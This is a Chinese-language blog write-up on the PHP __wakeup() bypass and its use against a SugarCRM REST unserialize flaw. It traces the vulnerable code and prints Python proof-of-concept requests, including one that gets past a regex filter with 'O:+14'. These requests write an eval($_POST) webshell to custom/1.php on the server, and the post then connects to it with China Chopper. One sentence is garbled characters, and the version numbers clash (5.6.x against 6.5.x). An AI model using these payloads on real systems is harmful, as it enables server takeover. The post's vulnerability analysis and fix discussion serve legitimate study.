__wakeup()函數用法
__wakeup()是用在反序列化操作中。unserialize()會檢查存在一個__wakeup()方法。如果存在,則先會調用__wakeup()方法。
- <?php
- class A{
- function __wakeup(){
- echo 'Hello';
- }
- }
- $c = new A();
- $d=unserialize('O:1:"A":0:{}');
- ?>
最后頁面輸出了Hello。在反序列化的時候存在__wakeup()函數,所以最后就會輸出Hello
__wakeup()函數漏洞說明
- <?php
- class Student{
- public $full_name = 'zhangsan';
- public $score = 150;
- public $grades = array();
- function __wakeup() {
- echo "__wakeup is invoked";
- }
- }
- $s = new Student();
- var_dump(serialize($s));
- ?>
最后頁面上輸出的就是Student對象的一個序列化輸出,O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。其中在Stuedent類后面有一個數字3,整個3表示的就是Student類存在3個屬性。
__wakeup()漏洞就是與整個屬性個數值有關。當序列化字符串表示對象屬性個數的值大于真實個數的屬性時就會跳過__wakeup的執行。
當我們將上述的序列化的字符串中的對象屬性修改為5,變為
O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}。
最后執行運行的代碼如下:
- class Student{
- public $full_name = 'zhangsan';
- public $score = 150;
- public $grades = array();
- function __wakeup() {
- echo "__wakeup is invoked";
- }
- function __destruct() {
- var_dump($this);
- }
- }
- $s = new Student();
- $stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
可以看到這樣就成功地繞過了__wakeup()函數。
案例:
SugarCms存在一個很經典的__wakup()函數繞過的漏洞,網上也有分析文章。但是我發現網上的文章都是針對于6.5.23版本的,我后來有研究了6.5.22的版本。從這個版本的迭代中,可以看到程序員的防御思維,很值得我們研究和學習。由于在分析的過程中會按照代碼審計的思路,會對其中重要的函數都會進行跟蹤,所以整個分析看起來會比較的復雜和??攏??庹?霾街瓚際腔乖?舜?肷蠹浦械牟街琛?br /> 我們先從6.5.22版本開始分析。
找到反序列化語句:
在service/core/REST/SugarRestSerialize.php中的SugarRestSerialize類中的server()方法代碼如下:
- function serve(){
- $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
- $data = !emptyempty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
- if(emptyempty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
- $er = new SoapError();
- $er->set_error('invalid_call');
- $this->fault($er);
- }else{
- $method = $_REQUEST['method'];
- $data = unserialize(from_html($data));
- if(!is_array($data))$data = array($data);
- $GLOBALS['log']->info('End: SugarRestSerialize->serve');
- return call_user_func_array(array( $this->implementation, $method),$data);
- } // else
- } // fn
其中存在$data = unserialize(from_html($data))這樣的序列化語句,而且$data是由$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: ''得到的,是我們可控的。那么就說明我們是可以控制反序列化的內容的。
尋找利用點
在找到了序列化語句之后,我們需要找到在哪些對象中可以利用這個反序列化語句。
在include/SugarCache/SugarCacheFile.php中的存在SugarCacheFile類以及__destruct()方法和__wakeup()方法。
- public function __destruct()
- {
- parent::__destruct();
- if ( $this->_cacheChanged )
- sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
- }
- /**
- * This is needed to prevent unserialize vulnerability
- */
- public function __wakeup()
- {
- // clean all properties
- foreach(get_object_vars($this) as $k => $v) {
- $this->$k = null;
- }
- throw new Exception("Not a serializable object");
- }
我們發現,__wakeup()會將傳入的對象的所有屬性全部清空,__destruct()則主要調用sugar_file_put_contents()函數將serialize($this->_localStore)寫入文件。
跟進sugar_file_put_contents(),在include/utils/sugar_file_utils.php中,
- function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
- //check to see if the file exists, if not then use touch to create it.
- if(!file_exists($filename)){
- sugar_touch($filename);
- }
- if ( !is_writable($filename) ) {
- $GLOBALS['log']->error("File $filename cannot be written to");
- return false;
- }
- if(emptyempty($flags)) {
- return file_put_contents($filename, $data);
- } elseif(emptyempty($context)) {
- return file_put_contents($filename, $data, $flags);
- } else{
- return file_put_contents($filename, $data, $flags, $context);
- }
- }
我們發現sugar_file_put_contents()函數并沒有對文件進行限制,而SugarCacheFile類調用的__destruct中,$data的值就是serialize($this->_localStore)。所以我們只需要出入一個SugarCacheFile類的對象并設置其屬性,這樣我們就可以寫入一個文件或者是一句話木馬。
但是由于在SugarCacheFile中存在__wakeup()函數會將對象的所有屬性全部清空,所以我們必須要繞過這個函數,那么就需要利用__wakeup()的漏洞了。
利用
通過上面的分析,我們可以總結出我們的數據整個的傳輸流程:
$_REQUEST['rest_data']->unserialize(from_html($data))-> __destruct()->sugar_file_put_contents->一句話木馬
在確定了數據傳輸流程之后,就需要找到一個這樣的環境或者是文件。這個文件調用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。
一下就是簡要的分析過程。
在service/v4/rest.php
- chdir('../..');
- require_once('SugarWebServiceImplv4.php');
- $webservice_class = 'SugarRestService';
- $webservice_path = 'service/core/SugarRestService.php';
- $webservice_impl_class = 'SugarWebServiceImplv4';
- $registry_class = 'registry';
- $location = '/service/v4/rest.php';
- $registry_path = 'service/v4/registry.php';
- require_once('service/core/webservice.php');
我們發現$webservice_class定義為SugarRestService。
跟蹤其中的service/core/webservice.php
- ob_start();
- chdir(dirname(__FILE__).'/../../');
- require('include/entryPoint.php');
- require_once('soap/SoapError.php');
- require_once('SoapHelperWebService.php');
- require_once('SugarRestUtils.php');
- require_once($webservice_path);
- require_once($registry_path);
- if(isset($webservice_impl_class_path))
- require_once($webservice_impl_class_path);
- $url = $GLOBALS['sugar_config']['site_url'].$location;
- $service = new $webservice_class($url);
- $service->registerClass($registry_class);
- $service->register();
- $service->registerImplClass($webservice_impl_class);
- //Vevb.com
- // set the service object in the global scope so that any error, if happens, can be set on this object
- global $service_object;
- $service_object = $service;
- $service->serve();
其中的關鍵代碼部分是:
$service = new $webservice_class($url);
其中的$webservice_class就是在service/v4/rest.php中定義的,為SugarRestService。
跟蹤service/core/SugarRestService.php,發現
在57行的_getTypeName()函數中有:
- protected function _getTypeName($name)
- {
- if(emptyempty($name)) return 'SugarRest';
- $name = clean_string($name, 'ALPHANUM');
- $type = '';
- switch(strtolower($name)) {
- case 'json':
- $type = 'JSON';
- break;
- case 'rss':
- $type = 'RSS';
- break;
- case 'serialize':
- $type = 'Serialize';
- break;
- }
- $classname = "SugarRest$type";
- if(!file_exists('service/core/REST/' . $classname . '.php')) {
- return 'SugarRest';
- }
- return $classname;
- }
- function __construct($url){
- $GLOBALS['log']->info('Begin: SugarRestService->__construct');
- $this->restURL = $url;
- $this->responseClass = $this->_getTypeName(@$_REQUEST['response_type']);
- $this->serverClass = $this->_getTypeName(@$_REQUEST['input_type']);
- $GLOBALS['log']->info('SugarRestService->__construct serverclass = ' . $this->serverClass);
- require_once('service/core/REST/'. $this->serverClass . '.php');
- $GLOBALS['log']->info('End: SugarRestService->__construct');
- } // ctor
當傳入的參數為Serialize,最后就會返回SugarRestSerialize字符串,最后就會在構造函數中構造出SugarRestSerialize類。
在86行的構造函數serve()中有:
- function serve(){
- $GLOBALS['log']->info('Begin: SugarRestService->serve');
- require_once('service/core/REST/'. $this->responseClass . '.php');
- $response = $this->responseClass;
- $responseServer = new $response($this->implementation);
- $this->server->faultServer = $responseServer;
- $responseServer->faultServer = $responseServer;
- $responseServer->generateResponse($this->server->serve());
- $GLOBALS['log']->info('End: SugarRestService->serve');
- } // fn
在serve()函數中就會執行在__construct構造出來的SugarRestSerialize類了。
最后我們就要正在在webservice.php中引用了SugarCacheFile.php文件。
在webservice.php使用get_included_files()函數來進行得到所引用的所有的文件,最后發現引入了SugarCache.php,而SugarCache.php引入了SugarCacheFile.php,那么最后就相當于webservice.php引入了SugarCacheFile.php。
分析到這里,那么webservice.php就滿足了上面所說的
這個文件調用了SugarRestSerialize.php的serve()方法,并且include文件SugarCacheFile.php文件。
那個要求了。
其中最關鍵的地方就是序列話語句的構造。
我們在本地運行如下的代碼:
- <?php
- class SugarCacheFile
- {
- protected $_cacheFileName = '../custom/1.php';
- protected $_localStore = array("<?php eval(/$_POST['bdw']);?>");
- protected $_cacheChanged = true;
- }
- $scf = new SugarCacheFile();
- var_dump(serialize($scf));
- ?>
最后頁面輸出的結果是:
O:14:"SugarCacheFile":3:{s:17:"?*?_cacheFileName";s:15:"../custom/1.php";s:14:"?*?_localStore";a:1:{i:0;s:28:"<?php eval($_POST['bdw']);?>";}s:16:"?*?_cacheChanged";b:1;}
為什么使用var_dump的時候會出現無法顯示的字符?這個字符就是/x0,即在php中的chr(0)字符。這個字符在頁面上是無法顯示的。出現這個字符的原因是和PHP的序列化的實現機制有關,這次就不做說明了。所以實際上的,序列化之后的結果應該是:
O:14:"SugarCacheFile":3:{s:17:"/x0*/x0_cacheFileName";s:15:"../custom/1.php";s:14:"/x0*/x0_localStore";a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}s:16:"/x0*/x0_cacheChanged";b:1;}
其中的/x0并不是/x、x、0三個字符,而是chr(0)一個字符。
得到序列化需要的字符串之后,那需要進行提交最后的PoC。
Poc Demo如下:
- import requests
- url = "http://localhost/sugar/service/v4/rest.php"
- data = {
- 'method':'login',
- 'input_type':'Serialize',
- 'rest_data':'O:14:"SugarCacheFile":4:{S:17:"//00*//00_cacheFileName";S:15:"../custom/1.php";S:14:"//00*//00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[/'1/']);?>";}S:16:"//00*//00_cacheChanged";b:1;}'
- }
requests.post(url,data=data)
在上述的payload中有幾點需要注意的問題,首先要修改掉序列化中的屬性值來繞過__wakeup()函數,其次在Python中,chr(0)的表示方法是//00。
最后就會在custom目錄下得到1.php,木馬的內容就是a:1:{i:0;s:26:"<?php eval($_POST['1']);?>";}
最后使用中國菜刀就可以順利連上木馬。
自此漏洞就基本分析完畢。
5.6.23版本
在22版本中,serve()方法是直接使用的unserialize()方法來進行的序列化,$data = unserialize(from_html($data))。
在24中的代碼為:
- function serve(){
- $GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
- $data = !emptyempty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
- if(emptyempty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
- $er = new SoapError();
- $er->set_error('invalid_call');
- $this->fault($er);
- }else{
- $method = $_REQUEST['method'];
- $data = sugar_unserialize(from_html($data));
- if(!is_array($data))$data = array($data);
- $GLOBALS['log']->info('End: SugarRestSerialize->serve');
- return call_user_func_array(array( $this->implementation, $method),$data);
- } // else
- } // fn
其中將$data = unserialize(from_html($data))變為了$data = sugar_unserialize(from_html($data));。
跟蹤sugar_unserialize()方法,在include/utils.php類有sugar_unserialize方法,
- function sugar_unserialize($value)
- {
- preg_match('/[oc]:/d+:/i', $value, $matches);
- if (count($matches)) {
- return false;
- }
- return unserialize($value);
- }
可以看對序列化的字符串進行了過濾,其實主要過濾的就是禁止Object類型被反序列化。雖然這樣看起是沒有問題的,但是由于PHP的一個BUG,導致仍然可以被繞過。只需要在對象長度前添加一個+號,即o:14->o:+14,這樣就可以繞過正則匹配。關于這個BUG的具體分析,可以參見php反序列unserialize的一個小特性。
最后的PoC就是:
- import requests
- url = "http://localhost/sugar/service/v4/rest.php"
- data = {
- 'method':'login',
- 'input_type':'Serialize',
- 'rest_data':'O:+14:"SugarCacheFile":4:{S:17:"//00*//00_cacheFileName";S:15:"../custom/1.php";S:14:"//00*//00_localStore";a:1:{i:0;S:26:"<?php eval($_POST[/'1/']);?>";}S:16:"//00*//00_cacheChanged";b:1;}'
- }
- requests.post(url,data=data)
修復:這個漏洞是知道5.6.24版本才進行修復的,修復的方式也是十分的簡單。
在這個版本中,上述的PoC已經不能夠使用了。以下是修復代碼。
在include/utils.php類有sugar_unserialize方法,
- function sugar_unserialize($value)
- {
- preg_match('/[oc]:[^:]*/d+:/i', $value, $matches);
- if (count($matches)) {
- return false;
- }
- return unserialize($value);
- }
可以看到,正則表達式已經變為/[oc]:[^:]*/d+:/i,那么通過+好來進行繞過的方式已經不適用了,這樣就修復了這個漏洞了。
總結:在我本地執行的,其中有一個非常關鍵的地方在于,需要將payload中的序列化字符串中的s改為S,否則同樣無法執行成功。當然我也和別人討論一下,有的人大小寫都可以,有的人一定要用大寫。
可以看到最后的方法就是使用正則表達式/[oc]:[^:]*/d+:/i來禁止反序列化Object對象,但是序列化本質的作用就是傳輸對象數據,如果是其他的數據其實就使用傳輸了,所以不知道在SugarCRM中禁止傳輸Object對象卻允許傳輸其他類型的數據有何意義?
最后還要感謝Bendwang的指點,解答了我的很多問題。
新聞熱點
疑難解答